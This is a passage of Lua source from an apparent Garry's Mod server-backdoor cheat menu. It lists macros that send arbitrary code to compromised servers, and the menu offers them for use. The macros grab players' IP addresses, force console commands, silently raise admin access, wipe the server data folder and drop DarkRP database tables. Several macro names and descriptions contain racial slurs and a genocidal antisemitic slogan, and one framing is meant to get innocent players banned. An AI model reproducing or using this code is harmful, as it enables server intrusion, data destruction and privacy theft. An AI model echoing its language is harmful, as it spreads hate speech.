6873 ["Toggle serverside speedhack"] = {
6874 ["Type"] = 2,
6875 ["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
6876 ["Desc"] = "GOTTA GO FAST"
6877 },
6878 ["Freeze/Unfreeze player"] = {
6879 ["Type"] = 2,
6880 ["Code"] = [[v:Freeze( !v:IsFrozen() )]],
6881 ["Desc"] = ""
6882 },
6883 ["Force say"] = {
6884 ["Type"] = 2,
6885 ["Code"] = [[v:Say(@1)]],
6886 ["Desc"] = "Forces them to say the specified string in chat (first parameter)",
6887 ["NeedsParameters"] = 1
6888 },
6889 ["Force concommand"] = {
6890 ["Type"] = 2,
6891 ["Code"] = [[v:ConCommand(@1)]],
6892 ["Desc"] = "Forces them to run the specified console command (first parameter)",
6893 ["NeedsParameters"] = 1
6894 },
6895 ["Grab IP"] = {
6896 ["Type"] = 2,
6897 ["Code"] = [[ for _, p in pairs(player.GetAll()) do if %LP then p:ChatPrint( v:Nick().." : "..v:IPAddress() ) end end]],
6898 ["Desc"] = "Prints their IP Address to your console"
6899 },
6900 ["DarkRP add/remove money"] = {
6901 ["Type"] = 2,
6902 ["Code"] = [[v:addMoney(@1)]],
6903 ["Desc"] = "Adds money to their wallet (first parameter) remember that you can use negative numbers to subtract money",
6904 ["NeedsParameters"] = 1
6905 },
6906 ["DarkRP force job"] = {
6907 ["Type"] = 2,
6908 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
6909 ["Desc"] = "Change their team to the specified job (1st parameter = job name, does not require capitalization)",
6910 ["NeedsParameters"] = 1
6911 },
6912 ["Force team switch"] = {
6913 ["Type"] = 2,
6914 ["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:SetTeam( i ) end end]],
6915 ["Desc"] = "Change their team to the specified team name (1st parameter)",
6916 ["NeedsParameters"] = 1
6917 },
6918 ["Noclip player"] = {
6919 ["Type"] = 2,
6920 ["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
6921 ["Desc"] = "Toggles noclip on the specified players"
6922 },
6923 ["Give weapon to player"] = {
6924 ["Type"] = 2,
6925 ["Code"] = [[v:Give( @1 )]],
6926 ["Desc"] = "Gives this player a weapon (first parameter)",
6927 ["NeedsParameters"] = 1
6928 },
6929 ["Give ammo to player"] = {
6930 ["Type"] = 2,
6931 ["Code"] = [[v:GiveAmmo( @1, @2, false )]],
6932 ["Desc"] = "Gives this player some ammo (first parameter = amount of ammo, secound parameter = ammo type)",
6933 ["NeedsParameters"] = 2
6934 },
6935 ["Teleport (them to your cursor)"] = {
6936 ["Type"] = 2,
6937 ["Code"] = [[
6938
6939 local tp = false
6940
6941 local tpos
6942
6943 for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
6944
6945 if tp then v:SetPos( tpos ) end
6946
6947 ]],
6948 ["Desc"] = "Teleports the selected players to your cursor location, not recommended for more than 1 person at once"
6949 },
6950 ["Teleport (you to them)"] = {
6951 ["Type"] = 2,
6952 ["Code"] = [[
6953
6954 local tp = false
6955
6956 local tpos = v:GetPos() + Vector( 32, 0, 10)
6957
6958 for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
6959
6960 ]],
6961 ["Desc"] = "Teleport yourself to the selected player, may end with you stuck inside a wall"
6962 },
6963 ["Teleport (blink)"] = {
6964 ["Type"] = 2,
6965 ["Code"] = [[
6966
6967 local tpos = v:GetEyeTraceNoCursor().HitPos
6968
6969 v:SetPos( tpos )
6970
6971 ]],
6972 ["Desc"] = "Use on yourself or others to warp them to where they are looking"
6973 },
6974 ["Spawn entity near player"] = {
6975 ["Type"] = 2,
6976 ["Code"] = [[
6977
6978 local tr = {}
6979
6980 tr.start = v:GetShootPos()
6981
6982 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
6983
6984 tr.filter = {v}
6985
6986 local trace = util.TraceLine(tr)
6987
6988 local dix = ents.Create( @1 )
6989
6990 dix:SetPos(trace.HitPos)
6991
6992 dix:SetAngles(Angle(0,0,0))
6993
6994 dix:Spawn()
6995
6996 ]],
6997 ["Desc"] = "Spawn an entity in front of this player (first parameter = entity class), cannot spawn cars!",
6998 ["NeedsParameters"] = 1
6999 },
7000 ["Spawn prop near player"] = {
7001 ["Type"] = 2,
7002 ["Code"] = [[
7003
7004 local tr = {}
7005
7006 tr.start = v:GetShootPos()
7007
7008 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7009
7010 tr.filter = {v}
7011
7012 local trace = util.TraceLine(tr)
7013
7014 local dix = ents.Create( "prop_physics" )
7015
7016 dix:SetPos(trace.HitPos)
7017
7018 dix:SetAngles(Angle(0,0,0))
7019
7020 dix:SetModel( @1 )
7021
7022 dix:Spawn()
7023
7024 ]],
7025 ["Desc"] = "Spawn a world prop in front of this player (first parameter = model)",
7026 ["NeedsParameters"] = 1
7027 },
7028 ["Spawn evil npc near player"] = {
7029 ["Type"] = 2,
7030 ["Code"] = [[
7031
7032 local tr = {}
7033
7034 tr.start = v:GetShootPos()
7035
7036 tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7037
7038 tr.filter = {v}
7039
7040 local trace = util.TraceLine(tr)
7041
7042 local dix = ents.Create( "npc_citizen" )
7043
7044 dix:SetPos(trace.HitPos)
7045
7046 dix:SetAngles(Angle(0,0,0))
7047
7048 dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
7049
7050 dix:SetKeyValue( "citizentype", 3 )
7051
7052 dix:AddRelationship("player D_HT 200")
7053
7054 dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
7055
7056 dix:SetSchedule( SCHED_IDLE_WANDER )
7057
7058 dix:Spawn()
7059
7060 ]],
7061 ["Desc"] = "Spawn a hostile NPC in front of this player"
7062 },
7063 ["Death ray"] = {
7064 ["Type"] = 2,
7065 ["Code"] = [[
7066
7067 local trace = v:GetEyeTraceNoCursor()
7068
7069 if trace.Entity:IsValid() then trace.Entity:Remove() end
7070
7071 ]],
7072 ["Desc"] = "Vaporize whatever this player is looking at"
7073 },
7074 ["Death ray (explosive)"] = {
7075 ["Type"] = 2,
7076 ["Code"] = [[
7077
7078 local trace = v:GetEyeTraceNoCursor()
7079
7080 local explo = ents.Create("env_explosion")
7081
7082 explo:SetPos(trace.HitPos)
7083
7084 explo:SetKeyValue("iMagnitude", "250")
7085
7086 explo:Spawn()
7087
7088 explo:Activate()
7089
7090 explo:Fire("Explode", "", 0)
7091
7092 ]],
7093 ["Desc"] = "Blow up whatever this player is looking at"
7094 },
7095 ["Precise Artillery Strike"] = {
7096 ["Type"] = 2,
7097 ["Code"] = [[
7098
7099 local trace = v:GetEyeTraceNoCursor()
7100
7101 timer.Create( "uiashfuasfas"..v:UniqueID()..math.random(-9999, 99999), 0.2, 15, function()
7102
7103 local explo = ents.Create("env_explosion")
7104
7105 explo:SetPos(trace.HitPos + Vector( math.random( -500, 500), math.random( -500, 500), math.random( -500, 500) ) )
7106
7107 explo:SetKeyValue("iMagnitude", "250")
7108
7109 explo:Spawn()
7110
7111 explo:Activate()
7112
7113 explo:Fire("Explode", "", 0)
7114
7115 end)
7116
7117 ]],
7118 ["Desc"] = "Blow up whatever this player is looking at"
7119 },
7120 ["Woman Driver"] = {
7121 ["Type"] = 2,
7122 ["Code"] = [[
7123
7124 local trace = v:GetEyeTraceNoCursor()
7125
7126 local car = ents.Create("prop_physics")
7127
7128 local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
7129
7130 car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
7131
7132 car:SetAngles( v:GetAngles() )
7133
7134 car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
7135
7136 car:Spawn()
7137
7138 car:Activate()
7139
7140 car.boom = 6
7141
7142 car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
7143
7144 car:Ignite( 500 )
7145
7146 car:AddCallback( "PhysicsCollide", function( car, dat )
7147
7148 local explo = ents.Create("env_explosion")
7149
7150 explo:SetPos( car:GetPos() )
7151
7152 explo:SetKeyValue("iMagnitude", "350")
7153
7154 explo:Spawn()
7155
7156 explo:Activate()
7157
7158 explo:Fire("Explode", "", 0)
7159
7160 local ef = EffectData()
7161
7162 ef:SetOrigin( car:GetPos() )
7163
7164 ef:SetMagnitude( 5 )
7165
7166 ef:SetScale( 200 )
7167
7168 util.Effect( "ThumperDust", ef )
7169
7170 car.boom = car.boom - 1
7171
7172 if car.boom < 0 then car:Remove() end
7173
7174 end )
7175
7176 timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
7177
7178 ]],
7179 ["Desc"] = "Make exploding vehicles rain from the sky"
7180 },
7181 ["Poison Gas"] = {
7182 ["Type"] = 2,
7183 ["Code"] = [[
7184
7185 local trace = v:GetEyeTraceNoCursor()
7186
7187 local ar2Explo = ents.Create("env_ar2explosion")
7188
7189 ar2Explo:SetOwner(game.GetWorld())
7190
7191 local p = trace.HitPos
7192
7193 ar2Explo:SetPos(trace.HitPos)
7194
7195 ar2Explo:Spawn()
7196
7197 ar2Explo:Activate()
7198
7199 ar2Explo:Fire("Explode", "", 0)
7200
7201 timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
7202
7203 for _, ent in pairs(ents.FindInSphere( p, 500)) do
7204
7205 if !ent:IsPlayer() then continue end
7206
7207 local d = DamageInfo()
7208
7209 d:SetDamage( 1 )
7210
7211 d:SetAttacker( game.GetWorld() )
7212
7213 d:SetInflictor( game.GetWorld() )
7214
7215 d:SetDamageType( DMG_DROWN )
7216
7217 ent:TakeDamageInfo( d )
7218
7219 end
7220
7221 end)
7222
7223
7224
7225 ]],
7226 ["Desc"] = "GAS THE JEWS RACE WAR NOW"
7227 },
7228 ["Spawn vehicle near player"] = {
7229 ["Type"] = 2,
7230 ["Code"] = [[
7231
7232 local trc = {}
7233
7234 trc.start = v:GetShootPos()
7235
7236 trc.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
7237
7238 trc.filter = {v}
7239
7240 local tr = util.TraceLine(trc)
7241
7242
7243
7244 local VehicleList = list.Get( "Vehicles" )
7245
7246 local vehicle = VehicleList[ @1 ]
7247
7248 if ( !vehicle ) then return end
7249
7250 local Angles = v:GetAngles()
7251
7252 Angles.pitch = 0
7253
7254 Angles.roll = 0
7255
7256 Angles.yaw = Angles.yaw + 180
7257
7258
7259
7260 local pos = tr.HitPos
7261
7262 if ( vehicle.Offset ) then
7263
7264 pos = pos + tr.HitNormal * vehicle.Offset
7265
7266 end
7267
7268 local Ent = ents.Create( vehicle.Class )
7269
7270 if ( !Ent ) then return end
7271
7272 duplicator.DoGeneric( Ent, vehicle )
7273
7274 if ( vehicle.Model == "models/buggy.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jeep_test.txt" ) end
7275
7276 if ( vehicle.Model == "models/vehicle.mdl" ) then Ent:SetKeyValue( "vehiclescript", "scripts/vehicles/jalopy.txt" ) end
7277
7278 if ( vehicle && vehicle.KeyValues ) then
7279
7280 for k, v in pairs( vehicle.KeyValues ) do
7281
7282 Ent:SetKeyValue( k, v )
7283
7284 end
7285
7286 end
7287
7288 Ent:SetModel( vehicle.Model )
7289
7290 Ent:SetAngles( Angles )
7291
7292 Ent:SetPos( pos )
7293
7294 Ent:Spawn()
7295
7296 Ent:Activate()
7297
7298 if ( Ent.SetVehicleClass && @1 ) then Ent:SetVehicleClass( @1 ) end
7299
7300 Ent.VehicleName = vehicle.Class
7301
7302 Ent.VehicleTable = @1
7303
7304 Ent.ClassOverride = vehicle.Class
7305
7306 ]],
7307 ["Desc"] = "Spawn a vehicle in front of this player (first parameter = vehicle class), don't try to spawn ents with this ya dingus!",
7308 ["NeedsParameters"] = 1
7309 },
7310 ["Kick player"] = {
7311 ["Type"] = 2,
7312 ["Code"] = [[ v:Kick( @1 ) ]],
7313 ["Desc"] = "First parameter = reason for kick"
7314 },
7315 ["Niggerize player"] = {
7316 ["Type"] = 2,
7317 ["Code"] = [[ if !v.Niggered then v:SetColor( Color( 0, 0, 0 ) ) v.Niggered = true else v:SetColor( Color(255, 255, 255) ) v.Niggered = false end ]],
7318 ["Desc"] = "Turns them black as night"
7319 },
7320 ["Cloak player"] = {
7321 ["Type"] = 2,
7322 ["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
7323 ["Desc"] = "Toggles cloaking on the player, people can still see the weapon they are holding however"
7324 },
7325 ["Allahu Ackbar"] = {
7326 ["Type"] = 2,
7327 ["Code"] = [[
7328
7329 local explo = ents.Create("env_explosion")
7330
7331 explo:SetOwner(v)
7332
7333 explo:SetPos(v:GetPos())
7334
7335 explo:SetKeyValue("iMagnitude", "250")
7336
7337 explo:Spawn()
7338
7339 explo:Activate()
7340
7341 explo:Fire("Explode", "", 0)
7342
7343 if v:Alive() then v:Kill() end
7344
7345 ]],
7346 ["Desc"] = "Blows them the fuck up, all kills are attributed to them so its great for getting random assholes banned"
7347 },
7348 ["ULX set access"] = {
7349 ["Type"] = 2,
7350 ["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
7351 ["Desc"] = "If ulx is installed this will (silently!) set them to the specified usergroup (1st parameter)",
7352 ["NeedsParameters"] = 1
7353 },
7354 ------------------------ dangerous codens ------------------------
7355 ["DarkRP clear all money"] = {
7356 ["Type"] = 3,
7357 ["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
7358 ["Desc"] = "Kids will cry to the admins for the next week about losing their precious money"
7359 },
7360 ["Cleanup map"] = {
7361 ["Type"] = 3,
7362 ["Code"] = [[game.CleanUpMap()]],
7363 ["Desc"] = "Wipe the map clean, taking everybodys cars, printers and bases out"
7364 },
7365 ["Vaporize all players"] = {
7366 ["Type"] = 3,
7367 ["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
7368 ["Desc"] = "Deletes their player entity, leaving them staring at a wall of errors"
7369 },
7370 ["FPP Unrestrict everything"] = {
7371 ["Type"] = 3,
7372 ["Code"] = [[FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {} ]],
7373 ["Desc"] = ""
7374 },
7375 ["Wipe data folder"] = {
7376 ["Type"] = 3,
7377 ["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
7378 ["Desc"] = "Wipe the servers data folder, fucking all their settings and stuff up"
7379 },
7380 ["Wipe DarkRP SQL Tables"] = {
7381 ["Type"] = 3,
7382 ["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
7383 ["Desc"] = "Completely fucks darkrp, forces them to reinstall the entire server"
7384 }
7385}
7386
7387local selectedbackdoor = ""
7388local backdoorargs = ""
7389local selectedplayers = {}
7390
7391function BD.GenerateBackdoorList(parent, category)
7392 for k, v in SortedPairs(BD.BDMacros, false) do
7393 if v["Type"] ~= category then continue end
7394 local plypanel2 = vgui.Create("DPanel")
7395 plypanel2:SetPos(0, 0)
7396 plypanel2:SetSize(200, 25)
7397
7398 -- Paint function
7399 plypanel2.Paint = function()
7400 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
7401
7402 if selectedbackdoor == k then
7403 surface.SetDrawColor(Color(70, 130, 180, 255))
7404 else
7405 surface.SetDrawColor(Color(0, 0, 0, 255))
7406 end
7407
7408 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
7409 end
7410
7411 local plyname = vgui.Create("DLabel", plypanel2)
7412 plyname:SetPos(10, 5)
7413 plyname:SetFont("Trebuchet18")
7414 local tcol = Color(255, 255, 255)
7415
7416 if v.Private then
7417 tcol = Color(155, 255, 155)
7418 end
7419
7420 plyname:SetColor(tcol)
7421 plyname:SetText(k)
7422 plyname:SetSize(180, 15)
7423 local faggot = vgui.Create("DButton", plypanel2)
7424 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
7425 faggot:SetPos(0, 0)
7426 faggot:SetText("")
7427
7428 if v["Desc"] ~= "" then
7429 faggot:SetToolTip(v["Desc"])
7430 end
7431
7432 faggot.Paint = function(panel, w, h) return end
7433
7434 faggot.DoClick = function()
7435 selectedbackdoor = k
7436 end
7437
7438 parent:AddItem(plypanel2)
7439 end
7440end
7441
7442function BD.FormatCodeTargeted()
7443 if selectedbackdoor == "" then
7444 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
7445
7446 return
7447 end
7448
7449 local param = string.Explode(",", backdoorargs)
7450 local ids = {}
7451
7452 for k, v in pairs(selectedplayers) do
7453 if not v:IsValid() then
7454 table.RemoveByValue(selectedplayers, v)
7455 continue
7456 end
7457
7458 table.insert(ids, v:UniqueID())
7459 end
7460
7461 local code = [[ local targets = ## for k, v in pairs( player.GetAll() ) do if !v:IsValid() then continue end if table.HasValue( targets, v:UniqueID() ) then %% end end ]]
7462 code = string.Replace(code, "##", table.ToString(ids))
7463 code = string.Replace(code, "%%", BD.BDMacros[selectedbackdoor]["Code"] or "")
7464 code = string.Replace(code, "%LP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
7465
7466 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
7467 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
7468
7469 return
7470 end
7471
7472 if #param < 1 then
7473 param = {
7474 [1] = "derp",
7475 [2] = "derp",
7476 [3] = "derp",
7477 [4] = "derp",
7478 [5] = "derp"
7479 }
7480 end
7481
7482 for k, v in pairs(param) do
7483 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
7484 end
7485
7486 BD.Fire(code)
7487end
7488
7489function BD.FormatCodeGlobal()
7490 if selectedbackdoor == "" then
7491 BD.ChatText("You haven't selected a macro to use!", Color(255, 155, 155))
7492
7493 return
7494 end
7495
7496 local param = string.Explode(",", backdoorargs)
7497 local code = BD.BDMacros[selectedbackdoor]["Code"]
7498
7499 if BD.BDMacros[selectedbackdoor]["NeedsParameters"] and (BD.BDMacros[selectedbackdoor]["NeedsParameters"] > #param or param[1] == "") then
7500 BD.ChatText("This macro requires parameters to work! check its description for more info", Color(255, 155, 155))
7501
7502 return
7503 end
7504
7505 if #param < 1 then
7506 param = {
7507 [1] = "derp",
7508 [2] = "derp",
7509 [3] = "derp",
7510 [4] = "derp",
7511 [5] = "derp"
7512 }
7513 end
7514
7515 for k, v in pairs(param) do
7516 code = string.Replace(code, "@" .. k, [["]] .. v .. [["]])
7517 code = string.Replace(code, "%LP", LocalPlayer():UniqueID())
7518 code = string.Replace(code, "%LCP", "p:UniqueID() == \"" .. LocalPlayer():UniqueID() .. "\"")
7519
7520 for k, v in pairs(BackDoor_net) do
7521 code = string.Replace(code, "%BD", v.NetWork)
7522 end
7523 end
7524
7525 BD.Fire(code)
7526end
7527
7528local safenet = net
7529
7530local function bdnet()
7531 if R8 and R8.G then return R8.G.net end
7532
7533 return safenet
7534end
7535
7536function BD.Fire(code)
7537 local cbd = BD.CurrentBackdoor
7538 local key = BD.BackdoorTypes[cbd].Netkey
7539 bdnet().Start(key)
7540 bdnet().WriteString(code)
7541 bdnet().SendToServer()
7542end
7543
7544surface.CreateFont("exitmenu", {
7545 font = "Arial",
7546 size = 20,
7547 weight = 1000,
7548 shadow = false,
7549 outline = false
7550})
7551
7552local function exitmenu(panel, X, y)
7553 local CButton = vgui.Create("DButton", panel)
7554 CButton:SetTextColor(Color(150, 150, 150))
7555 CButton:SetText("X")
7556 CButton:SetFont("exitmenu")
7557 CButton:SetPos(X, y)
7558 CButton:SetSize(50, 24)
7559
7560 CButton.DoClick = function()
7561 panel:SizeTo(0, 0, .2, 0, .2)
7562
7563 timer.Simple(0.3, function()
7564 panel:SetVisible(false)
7565 end)
7566 end
7567
7568 CButton.Paint = function(panel, w, h)
7569 surface.SetDrawColor(Color(0, 0, 0, 255))
7570 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
7571 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
7572 end
7573
7574 CButton.OnCursorEntered = function(self)
7575 surface.PlaySound("garrysmod/ui_hover.wav")
7576
7577 CButton.Paint = function(panel, w, h)
7578 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
7579 end
7580 end
7581
7582 -------------------------------------------------------------
7583 CButton.OnCursorExited = function(self)
7584 CButton.Paint = function(panel, w, h)
7585 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
7586 end
7587 end
7588 ------------------------------------------------------------------------
7589end
7590
7591local blur = Material("pp/blurscreen")
7592
7593local function DrawBlur(panel, amount)
7594 local x, y = panel:LocalToScreen(0, 0)
7595 local scrW, scrH = ScrW(), ScrH()
7596 surface.SetDrawColor(255, 255, 255)
7597 surface.SetMaterial(blur)
7598
7599 for i = 1, 3 do
7600 blur:SetFloat("$blur", (i / 3) * (amount or 6))
7601 blur:Recompute()
7602 render.UpdateScreenEffectTexture()
7603 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
7604 end
7605end
7606
7607CreateClientConVar("menu_r", "148", true, false)
7608CreateClientConVar("menu_g", "0", true, false)
7609CreateClientConVar("menu_b", "211", true, false)
7610
7611function BD.BackdoorMenu()
7612 BD.Backdoors = BD.PingBackDoors()
7613 local BDMenu = vgui.Create("DFrame")
7614 BDMenu:Center()
7615 BDMenu:SizeTo(500, 400, .3, 0, .3)
7616 exitmenu(BDMenu, 449, 1)
7617 BDMenu:SetTitle(" ")
7618 BDMenu:ShowCloseButton(false)
7619 BDMenu:SetVisible(true)
7620 BDMenu:MakePopup()
7621
7622 function BDMenu:Paint()
7623 DrawBlur(self, 5)
7624 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
7625 surface.SetDrawColor(Color(0, 0, 0, 255))
7626 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
7627 ---------------------------------------------------------
7628 --draw.SimpleText( "Player's", "exitmenu", 320, 25 , Color( 255, 255, 255, 200 ), 0, 0 )
7629 ---------------------------------------------------------
7630 surface.DrawOutlinedRect(0, 25, BDMenu:GetSize())
7631 -------------------------------------------------
7632 surface.DrawOutlinedRect(0, 0, 449, 26)
7633 --surface.DrawOutlinedRect( -6, 25, BDMenu:GetSize() )
7634 --
7635 --surface.DrawOutlinedRect( 0, -6, BDMenu:GetSize() )
7636 ------------------------------------------------
7637 end
7638
7639 local it = 145
7640 local Plist = vgui.Create("DPanelList", BDMenu)
7641 Plist:SetPos(5, 30)
7642 Plist:SetSize(200, 315)
7643 Plist:SetPadding(5)
7644 Plist:SetSpacing(5)
7645 Plist:EnableHorizontal(false)
7646 Plist:EnableVerticalScrollbar(true)
7647 Plist:SetName("")
7648
7649 Plist.Paint = function(self, w, h)
7650 DrawBlur(self, 5)
7651 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
7652 surface.SetDrawColor(Color(0, 0, 0, 255))
7653 surface.DrawOutlinedRect(0, 0, BDMenu:GetSize())
7654 end
7655
7656 local Plist4 = vgui.Create("DPanelList", BDMenu)
7657 Plist4:SetPos(210, 30)
7658 Plist4:SetSize(285, 315)
7659 Plist4:SetPadding(5)
7660 Plist4:SetSpacing(5)
7661 Plist4:EnableHorizontal(false)
7662 Plist4:EnableVerticalScrollbar(true)
7663 Plist4:SetName("")
7664
7665 Plist4.Paint = function(self, w, h)
7666 surface.SetDrawColor(50, 50, 50, 255)
7667 surface.DrawOutlinedRect(0, 0, w, h)
7668 surface.SetDrawColor(0, 0, 0, 200)
7669 surface.DrawRect(0, 0, w, h)
7670 end
7671
7672 local faggot = vgui.Create("DButton", BDMenu)
7673 faggot:Dock(5)
7674 faggot:SetText("Activate Backdoor!")
7675 faggot:SetTextColor(Color(255, 255, 255, 255))
7676
7677 faggot.Paint = function(panel, w, h)
7678 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
7679 surface.SetDrawColor(Color(0, 0, 0, 255))
7680 surface.DrawOutlinedRect(0, 0, faggot:GetSize())
7681 surface.DrawOutlinedRect(0, 25, faggot:GetSize())
7682 end
7683
7684 faggot.DoClick = function()
7685 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
7686 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
7687
7688 return
7689 end
7690
7691 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
7692 BD.FormatCodeGlobal()
7693 else
7694 BD.FormatCodeTargeted()
7695 end
7696
7697 surface.PlaySound("buttons/button18.wav")
7698 end
7699
7700 local moonman = vgui.Create("DTextEntry", BDMenu)
7701 moonman:Dock(5)
7702 moonman:DockMargin(0, 0, 0, 5)
7703 moonman:SetText(backdoorargs)
7704
7705 moonman.OnChange = function(self)
7706 backdoorargs = self:GetValue()
7707 end
7708
7709 -- surface.PlaySound("buttons/button3.wav")
7710 -- players list
7711 for k, v in pairs(player.GetAll()) do
7712 local plypanel2 = vgui.Create("DPanel")
7713 plypanel2:SetPos(0, 0)
7714 plypanel2:SetSize(200, 25)
7715
7716 -- Paint function
7717 plypanel2.Paint = function()
7718 draw.RoundedBoxEx(8, 1, 1, plypanel2:GetWide(), plypanel2:GetTall(), Color(0, 0, 0, 150), false, false, false, false)
7719
7720 if table.HasValue(selectedplayers, v) then
7721 surface.SetDrawColor(Color(50, 255, 90, 255))
7722 else
7723 surface.SetDrawColor(Color(50, 50, 90, 255))
7724 end
7725
7726 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1, plypanel2:GetTall() - 1)
7727 end
7728
7729 local plyname = vgui.Create("DLabel", plypanel2)
7730 plyname:SetPos(10, 5)
7731 plyname:SetFont("Trebuchet18")
7732 local tcol = Color(255, 255, 255)
7733
7734 if v == LocalPlayer() then
7735 tcol = Color(155, 155, 255)
7736 end
7737
7738 -- elseif BD.IsFriend( v ) then tcol = Color( 0, 255, 0 )
7739 -- elseif BD.GetRank(v) != ( "user" or "guest" or "player" ) then tcol = Color( 255, 100, 0 ) end
7740 plyname:SetColor(tcol)
7741 plyname:SetText(v:Nick())
7742 plyname:SetSize(180, 15)
7743 local faggot = vgui.Create("DButton", plypanel2)
7744 faggot:SetSize(plypanel2:GetWide(), plypanel2:GetTall())
7745 faggot:SetPos(0, 0)
7746 faggot:SetText("")
7747 faggot.Paint = function(panel, w, h) return end
7748
7749 faggot.DoClick = function()
7750 if table.HasValue(selectedplayers, v) then
7751 table.RemoveByValue(selectedplayers, v)
7752 else
7753 table.insert(selectedplayers, v)
7754 end
7755 end
7756
7757 Plist4:AddItem(plypanel2)
7758 end
7759
7760 BD.GenerateBackdoorList(Plist, 1)
7761 BD.GenerateBackdoorList(Plist, 2)
7762 BD.GenerateBackdoorList(Plist, 3)
7763end
7764
7765concommand.Add("bd_menu", BD.BackdoorMenu)
7766
7767function BD.QuickFireBackdoor()
7768 if not BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
7769 BD.ChatText("You haven't even selected a macro to use ya dingus!", Color(255, 155, 155))
7770
7771 return
7772 end
7773
7774 if BD.BDMacros[selectedbackdoor].Type == (1 or 3) then
7775 BD.FormatCodeGlobal()
7776 else
7777 BD.FormatCodeTargeted()
7778 end
7779end
7780
7781concommand.Add("bd_quickfire", BD.QuickFireBackdoor)